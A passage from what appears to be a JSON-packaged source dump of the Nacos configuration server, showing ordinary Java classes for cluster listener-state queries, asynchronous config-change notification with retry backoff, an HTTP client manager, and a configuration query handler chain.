Local implementation for Config listener state service.\n *\n * @author xiweng.yy\n */\n@Service\npublic class RemoteConfigListenerStateServiceImpl implements ConfigListenerStateService {\n    \n    private static final String CONFIG_LISTENER_STATE_URL = Constants.CONFIG_ADMIN_V3_PATH + \"/listener\";\n    \n    private final ServerMemberManager memberManager;\n    \n    private final ConfigListenerInfo emptyConfigListenerInfo;\n    \n    public RemoteConfigListenerStateServiceImpl(ServerMemberManager memberManager) {\n        this.memberManager = memberManager;\n        this.emptyConfigListenerInfo = new ConfigListenerInfo();\n        this.emptyConfigListenerInfo.setListenersStatus(Collections.emptyMap());\n    }\n    \n    @Override\n    public ConfigListenerInfo getListenerState(String dataId, String groupName, String namespaceId) {\n        Query query = Query.newInstance().addParam(\"dataId\", dataId).addParam(\"groupName\", groupName)\n                .addParam(\"namespaceId\", namespaceId).addParam(\"aggregation\", false);\n        Header header = buildHeader();\n        ConfigListenerInfo result = new ConfigListenerInfo();\n        result.setListenersStatus(new HashMap<>(16));\n        result.setQueryType(ConfigListenerInfo.QUERY_TYPE_CONFIG);\n        for (Member each : memberManager.allMembersWithoutSelf()) {\n            String url = getUrl(each.getAddress(), CONFIG_LISTENER_STATE_URL);\n            ConfigListenerInfo oneNodeResult = invokeUrl(url, query, header);\n            result.getListenersStatus().putAll(oneNodeResult.getListenersStatus());\n        }\n        return result;\n    }\n    \n    @Override\n    public ConfigListenerInfo getListenerStateByIp(String ip) {\n        Query query = Query.newInstance().addParam(\"ip\", ip).addParam(\"aggregation\", false);\n        Header header = buildHeader();\n        ConfigListenerInfo result = new ConfigListenerInfo();\n        result.setListenersStatus(new HashMap<>(16));\n        result.setQueryType(ConfigListenerInfo.QUERY_TYPE_IP);\n        for (Member each : memberManager.allMembersWithoutSelf()) {\n            String url = getUrl(each.getAddress(), Constants.LISTENER_CONTROLLER_V3_ADMIN_PATH);\n            ConfigListenerInfo oneNodeResult = invokeUrl(url, query, header);\n            result.getListenersStatus().putAll(oneNodeResult.getListenersStatus());\n        }\n        return result;\n    }\n    \n    private String getUrl(String ip, String relativePath) {\n        return HTTP_PREFIX + ip + EnvUtil.getContextPath() + relativePath;\n    }\n    \n    private Header buildHeader() {\n        Header header = Header.newInstance();\n        header.addParam(HttpHeaderConsts.ACCEPT_CHARSET, Constants.ENCODE_UTF8);\n        NacosAuthConfig authConfig = NacosAuthConfigHolder.getInstance()\n                .getNacosAuthConfigByScope(NacosServerAuthConfig.NACOS_SERVER_AUTH_SCOPE);\n        AuthHeaderUtil.addIdentityToHeader(header, authConfig);\n        return header;\n    }\n    \n    private ConfigListenerInfo invokeUrl(String url, Query query, Header header) {\n        try {\n            RestResult<String> restResult = HttpClientManager.getNacosRestTemplate()\n                    .get(url, header, query, String.class);\n            if (!restResult.ok()) {\n                LogUtil.DEFAULT_LOG.warn(\n                        \"Invoke remote server config listener state by url {} failed with code {}, msg {}\", url,\n                        restResult.getCode(), restResult.getMessage());\n                return emptyConfigListenerInfo;\n            }\n            Result<ConfigListenerInfo> result = JacksonUtils.toObj(restResult.getData(), new TypeReference<>() {\n            });\n            return result.getData();\n        } catch (Exception e) {\n            LogUtil.DEFAULT_LOG.error(\"Invoke remote server config listener by url {} failed :\", url, e);\n            return emptyConfigListenerInfo;\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/notify/AsyncNotifyService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.notify;\n\nimport com.alibaba.nacos.api.config.remote.request.cluster.ConfigChangeClusterSyncRequest;\nimport com.alibaba.nacos.api.config.remote.response.cluster.ConfigChangeClusterSyncResponse;\nimport com.alibaba.nacos.api.remote.RequestCallBack;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.task.AbstractDelayTask;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.event.ConfigDataChangeEvent;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.monitor.MetricsMonitor;\nimport com.alibaba.nacos.config.server.remote.ConfigClusterRpcClientProxy;\nimport com.alibaba.nacos.config.server.service.trace.ConfigTraceService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.api.common.NodeState;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.sys.utils.InetUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Queue;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.core.cluster.MemberMetaDataConstants.SUPPORT_GRAY_MODEL;\n\n/**\n * Async notify service.\n *\n * @author Nacos\n */\n@Service\npublic class AsyncNotifyService {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(AsyncNotifyService.class);\n    \n    private static final int MIN_RETRY_INTERVAL = 500;\n    \n    private static final int INCREASE_STEPS = 1000;\n    \n    private static final int MAX_COUNT = 6;\n    \n    @Autowired\n    private ConfigClusterRpcClientProxy configClusterRpcClientProxy;\n    \n    private ServerMemberManager memberManager;\n    \n    static final List<NodeState> HEALTHY_CHECK_STATUS = new ArrayList<>();\n    \n    static {\n        HEALTHY_CHECK_STATUS.add(NodeState.UP);\n        HEALTHY_CHECK_STATUS.add(NodeState.SUSPICIOUS);\n    }\n    \n    @Autowired\n    public AsyncNotifyService(ServerMemberManager memberManager) {\n        this.memberManager = memberManager;\n        \n        // Register ConfigDataChangeEvent to NotifyCenter.\n        NotifyCenter.registerToPublisher(ConfigDataChangeEvent.class, NotifyCenter.ringBufferSize);\n        \n        // Register A Subscriber to subscribe ConfigDataChangeEvent.\n        NotifyCenter.registerSubscriber(new Subscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                // Generate ConfigDataChangeEvent concurrently\n                handleConfigDataChangeEvent(event);\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return ConfigDataChangeEvent.class;\n            }\n        });\n    }\n    \n    void handleConfigDataChangeEvent(Event event) {\n        if (event instanceof ConfigDataChangeEvent) {\n            ConfigDataChangeEvent evt = (ConfigDataChangeEvent) event;\n            \n            MetricsMonitor.incrementConfigChangeCount(evt.tenant, evt.group, evt.dataId);\n            \n            Collection<Member> ipList = memberManager.allMembersWithoutSelf();\n            \n            // In fact, any type of queue here can be\n            Queue<NotifySingleRpcTask> rpcQueue = new LinkedList<>();\n            \n            for (Member member : ipList) {\n                // grpc report data change only\n                NotifySingleRpcTask notifySingleRpcTask = generateTask(evt, member);\n                if (notifySingleRpcTask != null) {\n                    rpcQueue.add(notifySingleRpcTask);\n                }\n                \n            }\n            if (!rpcQueue.isEmpty()) {\n                ConfigExecutor.executeAsyncNotify(new AsyncRpcTask(rpcQueue));\n            }\n        }\n    }\n    \n    private NotifySingleRpcTask generateTask(ConfigDataChangeEvent configDataChangeEvent, Member member) {\n        \n        NotifySingleRpcTask task = new NotifySingleRpcTask(configDataChangeEvent.dataId, configDataChangeEvent.group,\n                configDataChangeEvent.tenant, configDataChangeEvent.grayName, configDataChangeEvent.lastModifiedTs,\n                member);\n        \n        if (PropertyUtil.isGrayCompatibleModel() && StringUtils.isNotBlank(configDataChangeEvent.grayName)) {\n            \n            // old server should set beta or tag flag\n            if (!(Boolean) member.getExtendInfo().getOrDefault(SUPPORT_GRAY_MODEL, Boolean.FALSE)) {\n                String underLine = \"_\";\n                task.setBeta(BetaGrayRule.TYPE_BETA.equals(configDataChangeEvent.grayName));\n                if (configDataChangeEvent.grayName.startsWith(TagGrayRule.TYPE_TAG + underLine)) {\n                    task.setTag(configDataChangeEvent.grayName.substring(\n                            configDataChangeEvent.grayName.indexOf(TagGrayRule.TYPE_TAG + underLine) + 4));\n                }\n                \n            }\n        }\n        \n        // compatible with gray model\n        return task;\n    }\n    \n    private boolean isUnHealthy(String targetIp) {\n        return !memberManager.stateCheck(targetIp, HEALTHY_CHECK_STATUS);\n    }\n    \n    void executeAsyncRpcTask(Queue<NotifySingleRpcTask> queue) {\n        while (!queue.isEmpty()) {\n            NotifySingleRpcTask task = queue.poll();\n            \n            ConfigChangeClusterSyncRequest syncRequest = new ConfigChangeClusterSyncRequest();\n            syncRequest.setDataId(task.getDataId());\n            syncRequest.setTenant(task.getTenant());\n            syncRequest.setGroup(task.getGroup());\n            syncRequest.setLastModified(task.getLastModified());\n            syncRequest.setGrayName(task.getGrayName());\n            syncRequest.setBeta(task.isBeta());\n            syncRequest.setTag(task.getTag());\n            Member member = task.member;\n            \n            String event = getNotifyEvent(task);\n            if (memberManager.hasMember(member.getAddress())) {\n                // start the health check and there are ips that are not monitored, put them directly in the notification queue, otherwise notify\n                boolean unHealthNeedDelay = isUnHealthy(member.getAddress());\n                if (unHealthNeedDelay) {\n                    // target ip is unhealthy, then put it in the notification list\n                    ConfigTraceService.logNotifyEvent(task.getDataId(), task.getGroup(), task.getTenant(), null,\n                            task.getLastModified(), InetUtils.getSelfIP(), event,\n                            ConfigTraceService.NOTIFY_TYPE_UNHEALTH, 0, member.getAddress());\n                    // get delay time and set fail count to the task\n                    asyncTaskExecute(task);\n                } else {\n                    \n                    // grpc report data change only\n                    try {\n                        configClusterRpcClientProxy.syncConfigChange(member, syncRequest,\n                                new AsyncRpcNotifyCallBack(AsyncNotifyService.this, task));\n                    } catch (Exception e) {\n                        MetricsMonitor.getConfigNotifyException().increment();\n                        asyncTaskExecute(task);\n                    }\n                    \n                }\n            } else {\n                //No nothing if  member has offline.\n            }\n            \n        }\n    }\n    \n    public class AsyncRpcTask implements Runnable {\n        \n        private Queue<NotifySingleRpcTask> queue;\n        \n        public AsyncRpcTask(Queue<NotifySingleRpcTask> queue) {\n            this.queue = queue;\n        }\n        \n        @Override\n        public void run() {\n            executeAsyncRpcTask(queue);\n        }\n    }\n    \n    public static class NotifySingleRpcTask extends AbstractDelayTask {\n        \n        private String dataId;\n        \n        private String group;\n        \n        private String tenant;\n        \n        private long lastModified;\n        \n        private int failCount;\n        \n        private Member member;\n        \n        private String grayName;\n        \n        @Deprecated\n        private boolean isBeta;\n        \n        @Deprecated\n        private String tag;\n        \n        public NotifySingleRpcTask(String dataId, String group, String tenant, String grayName, long lastModified,\n                Member member) {\n            this.dataId = dataId;\n            this.group = group;\n            this.tenant = tenant;\n            this.lastModified = lastModified;\n            this.member = member;\n            this.grayName = grayName;\n            setTaskInterval(3000L);\n            \n        }\n        \n        public boolean isBeta() {\n            return isBeta;\n        }\n        \n        public void setBeta(boolean beta) {\n            isBeta = beta;\n        }\n        \n        public String getTag() {\n            return tag;\n        }\n        \n        public void setTag(String tag) {\n            this.tag = tag;\n        }\n        \n        public String getGrayName() {\n            return grayName;\n        }\n        \n        public void setGrayName(String grayName) {\n            this.grayName = grayName;\n        }\n        \n        public String getDataId() {\n            return dataId;\n        }\n        \n        public String getGroup() {\n            return group;\n        }\n        \n        public int getFailCount() {\n            return failCount;\n        }\n        \n        public void setFailCount(int failCount) {\n            this.failCount = failCount;\n        }\n        \n        public long getLastModified() {\n            return lastModified;\n        }\n        \n        @Override\n        public void merge(AbstractDelayTask task) {\n            // Perform merge, but do nothing, tasks with the same dataId and group, later will replace the previous\n            \n        }\n        \n        public String getTenant() {\n            return tenant;\n        }\n        \n    }\n    \n    private void asyncTaskExecute(NotifySingleRpcTask task) {\n        int delay = getDelayTime(task);\n        Queue<NotifySingleRpcTask> queue = new LinkedList<>();\n        queue.add(task);\n        AsyncRpcTask asyncTask = new AsyncRpcTask(queue);\n        ConfigExecutor.scheduleAsyncNotify(asyncTask, delay, TimeUnit.MILLISECONDS);\n    }\n    \n    private static String getNotifyEvent(NotifySingleRpcTask task) {\n        String event = ConfigTraceService.NOTIFY_EVENT;\n        if (task.isBeta()) {\n            event = ConfigTraceService.NOTIFY_EVENT_BETA;\n        } else if (!StringUtils.isBlank(task.tag)) {\n            event = ConfigTraceService.NOTIFY_EVENT_TAG + \"-\" + task.tag;\n        } else if (StringUtils.isNotBlank(task.grayName)) {\n            event = ConfigTraceService.NOTIFY_EVENT + \"-\" + task.grayName;\n        }\n        return event;\n    }\n    \n    public static class AsyncRpcNotifyCallBack implements RequestCallBack<ConfigChangeClusterSyncResponse> {\n        \n        private NotifySingleRpcTask task;\n        \n        AsyncNotifyService asyncNotifyService;\n        \n        public AsyncRpcNotifyCallBack(AsyncNotifyService asyncNotifyService, NotifySingleRpcTask task) {\n            this.task = task;\n            this.asyncNotifyService = asyncNotifyService;\n        }\n        \n        @Override\n        public Executor getExecutor() {\n            return ConfigExecutor.getConfigSubServiceExecutor();\n        }\n        \n        @Override\n        public long getTimeout() {\n            return 1000L;\n        }\n        \n        @Override\n        public void onResponse(ConfigChangeClusterSyncResponse response) {\n            String event = getNotifyEvent(task);\n            \n            long delayed = System.currentTimeMillis() - task.getLastModified();\n            if (response.isSuccess()) {\n                ConfigTraceService.logNotifyEvent(task.getDataId(), task.getGroup(), task.getTenant(), null,\n                        task.getLastModified(), InetUtils.getSelfIP(), event, ConfigTraceService.NOTIFY_TYPE_OK,\n                        delayed, task.member.getAddress());\n            } else {\n                LOGGER.error(\"[notify-error] target:{} dataId:{} group:{} ts:{} code:{}\", task.member.getAddress(),\n                        task.getDataId(), task.getGroup(), task.getLastModified(), response.getErrorCode());\n                ConfigTraceService.logNotifyEvent(task.getDataId(), task.getGroup(), task.getTenant(), null,\n                        task.getLastModified(), InetUtils.getSelfIP(), event, ConfigTraceService.NOTIFY_TYPE_ERROR,\n                        delayed, task.member.getAddress());\n                \n                //get delay time and set fail count to the task\n                asyncNotifyService.asyncTaskExecute(task);\n                \n                LogUtil.NOTIFY_LOG.error(\"[notify-retry] target:{} dataId:{} group:{} ts:{}\", task.member.getAddress(),\n                        task.getDataId(), task.getGroup(), task.getLastModified());\n                \n                MetricsMonitor.getConfigNotifyException().increment();\n            }\n        }\n        \n        @Override\n        public void onException(Throwable ex) {\n            String event = getNotifyEvent(task);\n            \n            long delayed = System.currentTimeMillis() - task.getLastModified();\n            LOGGER.error(\"[notify-exception] target:{} dataId:{} group:{} ts:{} ex:{}\", task.member.getAddress(),\n                    task.getDataId(), task.getGroup(), task.getLastModified(), ex);\n            ConfigTraceService.logNotifyEvent(task.getDataId(), task.getGroup(), task.getTenant(), null,\n                    task.getLastModified(), InetUtils.getSelfIP(), event, ConfigTraceService.NOTIFY_TYPE_EXCEPTION,\n                    delayed, task.member.getAddress());\n            \n            //get delay time and set fail count to the task\n            asyncNotifyService.asyncTaskExecute(task);\n            LogUtil.NOTIFY_LOG.error(\"[notify-retry] target:{} dataId:{} group:{} ts:{}\", task.member.getAddress(),\n                    task.getDataId(), task.getGroup(), task.getLastModified());\n            \n            MetricsMonitor.getConfigNotifyException().increment();\n        }\n    }\n    \n    /**\n     * get delayTime and also set failCount to task; The failure time index increases, so as not to retry invalid tasks\n     * in the offline scene, which affects the normal synchronization.\n     *\n     * @param task notify task\n     * @return delay\n     */\n    private static int getDelayTime(NotifySingleRpcTask task) {\n        int failCount = task.getFailCount();\n        int delay = MIN_RETRY_INTERVAL + failCount * failCount * INCREASE_STEPS;\n        if (failCount <= MAX_COUNT) {\n            task.setFailCount(failCount + 1);\n        }\n        return delay;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/notify/HttpClientManager.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.notify;\n\nimport com.alibaba.nacos.common.http.AbstractHttpClientFactory;\nimport com.alibaba.nacos.common.http.HttpClientBeanHolder;\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.client.NacosAsyncRestTemplate;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.utils.ExceptionUtil;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * http client manager.\n *\n * @author mai.jh\n */\npublic final class HttpClientManager {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(HttpClientManager.class);\n    \n    /**\n     * Connection timeout and socket timeout with other servers.\n     */\n    private static final int TIMEOUT = 500;\n    \n    private static final NacosRestTemplate NACOS_REST_TEMPLATE;\n    \n    private static final NacosAsyncRestTemplate NACOS_ASYNC_REST_TEMPLATE;\n    \n    static {\n        // build nacos rest template\n        NACOS_REST_TEMPLATE = HttpClientBeanHolder.getNacosRestTemplate(new ConfigHttpClientFactory(TIMEOUT, TIMEOUT));\n        NACOS_ASYNC_REST_TEMPLATE = HttpClientBeanHolder.getNacosAsyncRestTemplate(\n                new ConfigHttpClientFactory(PropertyUtil.getNotifyConnectTimeout(),\n                        PropertyUtil.getNotifySocketTimeout()));\n        \n        ThreadUtils.addShutdownHook(HttpClientManager::shutdown);\n    }\n    \n    public static NacosRestTemplate getNacosRestTemplate() {\n        return NACOS_REST_TEMPLATE;\n    }\n    \n    public static NacosAsyncRestTemplate getNacosAsyncRestTemplate() {\n        return NACOS_ASYNC_REST_TEMPLATE;\n    }\n    \n    private static void shutdown() {\n        LOGGER.info(\"[ConfigServer-HttpClientManager] Start destroying NacosRestTemplate\");\n        try {\n            final String httpClientFactoryBeanName = ConfigHttpClientFactory.class.getName();\n            HttpClientBeanHolder.shutdownNacosSyncRest(httpClientFactoryBeanName);\n            HttpClientBeanHolder.shutdownNacosAsyncRest(httpClientFactoryBeanName);\n        } catch (Exception ex) {\n            LOGGER.error(\"[ConfigServer-HttpClientManager] An exception occurred when the HTTP client was closed : {}\",\n                    ExceptionUtil.getStackTrace(ex));\n        }\n        LOGGER.info(\"[ConfigServer-HttpClientManager] Completed destruction of NacosRestTemplate\");\n    }\n    \n    /**\n     * http client factory.\n     */\n    private static class ConfigHttpClientFactory extends AbstractHttpClientFactory {\n        \n        private final int conTimeOutMillis;\n        \n        private final int readTimeOutMillis;\n        \n        public ConfigHttpClientFactory(int conTimeOutMillis, int readTimeOutMillis) {\n            this.conTimeOutMillis = conTimeOutMillis;\n            this.readTimeOutMillis = readTimeOutMillis;\n        }\n        \n        @Override\n        protected HttpClientConfig buildHttpClientConfig() {\n            return HttpClientConfig.builder().setConTimeOutMillis(conTimeOutMillis)\n                    .setReadTimeOutMillis(readTimeOutMillis).build();\n        }\n        \n        @Override\n        protected Logger assignLogger() {\n            return LOGGER;\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/ConfigChainRequestExtractorService.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.config.server.exception.NacosConfigException;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport java.util.Optional;\n\n/**\n * Service class for initializing and retrieving the configuration query request extractor.\n *\n * @author Nacos\n */\npublic class ConfigChainRequestExtractorService {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigChainRequestExtractorService.class);\n    \n    private static ConfigQueryChainRequestExtractor extractor;\n    \n    static {\n        String curExtractor = EnvUtil.getProperty(\"nacos.config.query.chain.request.extractor\", \"nacos\");\n        Optional<ConfigQueryChainRequestExtractor> optionalBuilder = NacosServiceLoader.load(ConfigQueryChainRequestExtractor.class)\n                .stream()\n                .filter(builder -> builder.getName().equals(curExtractor))\n                .findFirst();\n        if (optionalBuilder.isPresent()) {\n            extractor = optionalBuilder.get();\n            LOGGER.info(\"ConfigQueryRequestExtractor has been initialized successfully with extractor: {}\", curExtractor);\n        } else {\n            String errorMessage = \"No suitable ConfigQueryRequestExtractor found for name: \" + curExtractor;\n            LOGGER.error(errorMessage);\n            throw new NacosConfigException(errorMessage);\n        }\n    }\n    \n    public static ConfigQueryChainRequestExtractor getExtractor() {\n        return extractor;\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/ConfigQueryChainRequestExtractor.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigQueryRequest;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport jakarta.servlet.http.HttpServletRequest;\n\n/**\n * Interface for extracting configuration query chain requests from different sources.\n *\n * @author Nacos\n */\npublic interface ConfigQueryChainRequestExtractor {\n    \n    /**\n     * Gets the name of the current implementation.\n     *\n     * @return the name of the current implementation\n     */\n    String getName();\n    \n    /**\n     * Extracts a configuration query chain request from an HTTP request.\n     *\n     * @param request the HTTP request object\n     * @return the extracted configuration query chain request\n     */\n    ConfigQueryChainRequest extract(HttpServletRequest request);\n    \n    /**\n     * Extracts a configuration query chain request from a configuration query request object.\n     *\n     * @param request      the configuration query request object\n     * @param requestMeta  the request metadata\n     * @return the extracted configuration query chain request\n     */\n    ConfigQueryChainRequest extract(ConfigQueryRequest request, RequestMeta requestMeta);\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/ConfigQueryChainService.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.config.server.exception.NacosConfigException;\nimport com.alibaba.nacos.config.server.service.query.enums.ResponseCode;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Service;\n\nimport java.util.Optional;\n\n/**\n * Service class for initializing and retrieving the configuration query chain builder.\n *\n * @author Nacos\n */\n@Service\npublic class ConfigQueryChainService {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigQueryChainService.class);\n    \n    private final ConfigQueryHandlerChain chain;\n    \n    public ConfigQueryChainService() {\n        String curChain = EnvUtil.getProperty(\"nacos.config.query.chain.builder\", \"nacos\");\n        Optional<ConfigQueryHandlerChainBuilder> optionalBuilder = NacosServiceLoader.load(ConfigQueryHandlerChainBuilder.class)\n                .stream()\n                .filter(builder -> builder.getName().equals(curChain))\n                .findFirst();\n        if (optionalBuilder.isPresent()) {\n            chain = optionalBuilder.get().build();\n            LOGGER.info(\"ConfigQueryHandlerChain has been initialized successfully with chain: {}\", curChain);\n        } else {\n            String errorMessage = \"No suitable ConfigQueryHandlerChainBuilder found for name: \" + curChain;\n            LOGGER.error(errorMessage);\n            throw new NacosConfigException(errorMessage);\n        }\n    }\n    \n    /**\n     * Handles the configuration query request.\n     *\n     * @param request the configuration query request object\n     * @return the configuration query response object\n     */\n    public ConfigQueryChainResponse handle(ConfigQueryChainRequest request) {\n        try {\n            return chain.handle(request);\n        } catch (Exception e) {\n            LOGGER.error(\"[Error] Fail to handle ConfigQueryChainRequest\", e);\n            return ConfigQueryChainResponse.buildFailResponse(ResponseCode.FAIL.getCode(), e.getMessage());\n        }\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/ConfigQueryHandlerChain.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query;\n\nimport com.alibaba.nacos.config.server.service.query.handler.ConfigQueryHandler;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.util.Objects;\n\n/**\n * ConfigQueryHandlerChain.\n * @author Nacos\n */\npublic class ConfigQueryHandlerChain {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigQueryHandlerChain.class);\n    \n    private ConfigQueryHandler head;\n    \n    private ConfigQueryHandler tail;\n    \n    public ConfigQueryHandlerChain() {\n    }\n    \n    /**\n     * Adds a new configuration query handler to the chain.\n     *\n     * @param handler the configuration query handler to be added\n     * @return the current configuration query handler chain object, supporting method chaining\n     */\n    public ConfigQueryHandlerChain addHandler(ConfigQueryHandler handler) {\n        if (Objects.isNull(handler)) {\n            LOGGER.warn(\"Attempted to add a null config query handler\");\n            return this;\n        }\n        \n        if (head == null) {\n            head = handler;\n            tail = handler;\n        } else {\n            tail.setNextHandler(handler);\n            tail = handler;\n        }\n        \n        return this;\n    }\n    \n    public ConfigQueryChainResponse handle(ConfigQueryChainRequest request) throws IOException {\n        return head.handle(request);\n    }\n    \n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/ConfigQueryHandlerChainBuilder.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query;\n\n/**\n * ConfigQueryHandlerChainBuilder.\n *\n * @author Nacos\n */\npublic interface ConfigQueryHandlerChainBuilder {\n    \n    /**\n     * Builds the configuration query handler chain.\n     *\n     * @return the configuration query handler chain\n     */\n    ConfigQueryHandlerChain build();\n    \n    /**\n     * Gets the name of the builder.\n     *\n     * @return the name of the builder\n     */\n    String getName();\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/DefaultChainRequestExtractor.java",
